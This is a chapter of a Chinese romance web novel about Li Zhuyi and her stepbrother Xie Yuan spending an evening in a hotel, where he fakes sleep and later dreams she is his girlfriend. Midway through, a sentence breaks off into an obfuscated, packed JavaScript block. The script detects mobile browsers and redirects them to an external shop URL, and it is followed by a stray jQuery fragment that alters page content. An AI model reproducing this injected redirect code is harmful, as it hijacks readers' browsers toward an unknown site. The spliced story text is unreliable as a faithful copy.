李祝宜今晚睡次卧,房间比谢垣那边小点,少一间衣帽间。
她推着谢垣从餐厅回来,在谢垣的提醒下,发现次卧里多了她的换洗衣物和洗漱用品,就连床上四件套和被子也是她在谢家用的那一套。
晚上,两人一起在客厅看综艺。李祝宜平时很少看节目,当下热播的网剧综艺一概不看,因为很耽误时间。最近在谢垣这,才看了一点。
谢垣平时也不看,但他拉着李祝宜打游戏,李祝宜不想玩,所以只能拉着李祝宜一起看综艺。
如果他不叫上李祝宜一起,李祝宜就会一直待在房间里。
那他特意叫上李祝宜来陪他干什么?
他一个人待着,没人陪着说话很难受。
李祝宜现在无暇看综艺,她将屏幕里的声音当作背景音,忙着回复雪十二的消息,解答她的问题。
回复完后,她才猛然察觉客厅的温度不太对,冷了好几度,暖气被关了?
她转头去看谢垣,发现谢垣裹上了一条灰色的毯子。
“你为什么将暖气关了?”李祝宜穿着白色卫衣,没有穿厚外套。
谢垣将毛毯裹得很紧,头上翘起呆毛:“你不觉得开暖气很闷?”
李祝宜说:“是有点闷,但是我冷。”
“冷的话,我分你半条毯子不就得了。”他扯下裹着的毛毯,将毛毯的一半覆盖着李祝宜的肩膀和脊背。他发散思维,李祝宜薄薄的身形,手长腿长,看起来很适合学古典舞。
李祝宜没说什么,她和谢垣中间隔的距离可以坐下一个人。
“明天多久回去?”李祝宜问。
“中午之前。”谢垣道,“放心,我明天肯定回去。”
“李祝宜。”他唤她。
“嗯。”
“你以前一个人在家里待着,不会觉得太过安静?你一个女孩一个人在家,不怕半夜有陌生人敲门?不怕晚上有小偷光顾?你妈怎么放心把你一个人留在那里?”
他一连问了好几个问题,李祝宜转头去看他,清晰地记得以前谢垣酷酷拽拽的高冷模样,从不正眼看她,仿佛和她多说几句话,就会让他的身价大跌,现如今就像吃错药突然转了性。
李祝宜说:“我妈来深蓝市后,我住校,只有放假在家。周围邻居人都很好,楼下的叔叔阿姨爷爷奶奶会警惕陌生人出入,不会有坏人和小偷。最后一个问题,我妈不是不想带着我,而是觉得我没有必要和她一起吃苦,她初到一个新的地方一切需要重新开始,而我留在水县的话生活和学习都会相对稳定,不用跟着她一起奔波。不准将我妈妈往坏处想。”
李祝宜说得轻松,但个中滋味只有自己清楚。
但是要让她对谢垣说出那些负面的情绪,想都别想,没准说出去的话会被人以后当成笑话来嘲弄。
“我没有将她往坏处想。你可不要污蔑我,我只是好奇。”他又问,“那你放假在家吃饭是怎么解决的?”
李祝宜皱眉头,这种问题也需要问?
她说:“自己做。”
“你厨艺很好?”
“很糟糕,糟糕的程度可以把哥哥你毒死。”她察觉到谢垣在无意中把毯子往那边裹,她扯了扯,拉回来。
“李祝宜,你有时候说话能不能不要夹枪带棒?你会和许则屿说把你毒死这样的话吗?”
“我为什么要这样和他说话?”
“李祝宜你就这样继续双标下去。”
李祝宜已读乱回:“谢谢祝福。”
谢垣气得不想和李祝宜说话。
李祝宜手机响起,她去卧室接通:“喂,妈妈。”
“你和谢垣单独待在一块,我心里总是不放心,所以打电话来问问,他有没有为难你?”
“没有,放心吧。他现在走路不方便,他要是真为难我,我跑得比他快。”
“祝宜。”祝薇犹豫地说,“你现在长大了,妈妈就问直白一点。你觉得谢垣对你有没有其他方面的意思?”
李祝宜笑了一下:“怎么会?你想多了。”
祝薇还是不放心:“那他为什么叫你今晚在酒店住下?”
“因为他平时话很多,如今没人和他说话,他憋得慌,所以才叫我来酒店。”李祝宜道,“妈妈,我在谢家不也是和谢垣同住一层楼吗?今天也一样,你不用担心。谢垣要是知道你猜测他喜欢我,恐怕得拿这事嘲讽我好一阵。还有,我知道他喜欢什么样的女孩,和我完全是两模两样。”
何况谢垣的乱七八糟的标准上还得加上一条门当户对。
她这样说,祝薇才彻底放下心来,她想问谢垣喜欢什么样的女孩,又觉得自己不应该像小孩一样过分八卦,再向祝宜叮嘱了几句后就挂断电话。
李祝宜回到客厅,谢垣竟然已经躺下睡着了,他横躺在沙发上,露出一截劲瘦有力量感的腰来,毛毯卷在一边,一点没盖住人。屏幕里综艺还放着,不时响起哈哈哈的笑声。
李祝宜按了遥控器上的关机键,客厅瞬间陷入寂静。
她又回到房间,将门关上。
谢垣听到了李祝宜关门的声音。
他就是装睡,想看看李祝宜会不会像对待许则屿那样在他睡着后给他盖上被子。
结果,李祝宜就这样关上电视,走了。
走了?
走了!
许则屿那次好歹开着暖气,不会冻着。他现在可是只穿了一件单薄的灰色内搭,室内没开暖气。就这样让他睡着?连暖气也不能顺便帮他开一下?她就不担心他冻着冷感冒?
他是她哥哥,不是仇人。
他睁开眼睛,望着天花板,就这样让他冻死算了。心里感受到的寒意远比身体所感受到的要冷得多。
突然,有门被拉开的声音,谢垣赶紧闭上眼睛。他听到了李祝宜的脚步声,很轻,脚步声越来越近,她走了过来,随后,毛毯覆盖上他的身体,他一动不动,就怕被李祝宜发现他是在装睡。他已经能想象到李祝宜的动作有多么温柔,如果他现在是“清醒”状态,李祝宜应该会粗暴地直接将毛毯扔给他。
李祝宜没觉得自己的动作温柔,她只是将毛毯展开而已。
她又将客厅的暖气打开。谢垣不喜欢开暖气觉得闷,那就闷死他。
李祝宜本不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579366|202325||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想管他,但想着现在是冬天,他那样睡着肯定会感冒,心一软,就走了出来。给他盖好后,她又回到房间。
谢垣睁开眼,手臂从毛毯里伸出,将毛毯圈紧。
李祝宜嘴上嫌弃他,但在实际行动上对他还算不错。知道他单盖一条毛毯会冷,特意将暖气打开。
毛毯上还残留着几分属于李祝宜的气味。
他闻了一下,又唾弃自己为什么要闻。
像一个死变态。
夜色沉沉时,谢垣回到房间躺下,他脚下垫着专用垫,崴脚后需要将伤腿抬高,使其高于心脏。
他很快睡着,却梦见了晚餐时在餐厅遇到的那个女孩。
看不清脸,只能听见她说:“你和你女朋友真的好般配,忍不住夸一下。”
他的嘴角翘起,很高兴偏偏要压着:“很多人都说过我和我女朋友很般配,无论是颜值身高还是气质都很登对,别人一见到我和她走在一起,就会默认我们是情侣,我早就已经习惯了。他们的眼光很好,你也是。我的女朋友快回来了,还请你离我远一点,她看见别的女性靠近我,会吃醋。希望你能谅解。”
“好的,好的,我不会打扰你们,祝你们一直幸福下去。”
很快,李祝宜回来了。
谢垣本能地觉得不对劲,他记得现在是冬天,李祝宜却穿着属于夏季的裙装,再一看周围人,都是穿的夏季衣服。
李祝宜的黑色长发垂落肩头,其中一缕搭在锁骨边,她穿着白色的无袖短裙,露出纤细流畅的肩颈线条,层层错落的荷叶裙摆垂在大腿上。
清纯动人。
这是李祝宜曾经穿过的一条裙子。
李祝宜在他对面的位置坐下,他正想说刚刚有人夸两人般配,就见李祝宜不知从哪里掏出一本习题册,开始写作业。
“不能回去再写吗?”他埋怨。
“我必须抓紧时间写完才行。我待会儿和以安哥有约,贺柯也找我有事。哥哥,你能理解我的对吗?我实在赶不及了。”
谢垣握紧水杯:“你和他们还有联系?你有没有将我这个男朋友放在心上。”
她抬头诧异地看向他:“哥哥,你在说什么,你不是哥哥吗?怎么会成了我的男朋友?”
他急道:“你怎么能不承认?还是说你从一开始就是想玩弄我,欺骗我的感情?你以后休想趁我睡着给我盖被子。我再也不会让你摸我的腰。如果你不是我的女朋友,我会让你摸我的腰?如果你不是我的女朋友,为什么那么多人说我们般配?”
她还在惊诧中:“哥哥,你是不是做梦还没有醒?我的男朋友是许则屿啊!他是你最好的朋友,我很喜欢他。”
“我怎么会是哥哥你的女朋友,不要开玩笑了,哪有人说过我们般配。要是我和你在一起了,你该怎么面对他?”
“你是喜欢我吗?许则屿知道你喜欢我吗?”
“哥哥,你是不是疯了!”
“我男朋友来接我了。”
李祝宜看向谢垣身后,摆手打招呼:“这边。”
谢垣只觉他的心脏在这一瞬间骤停,血液被冻住。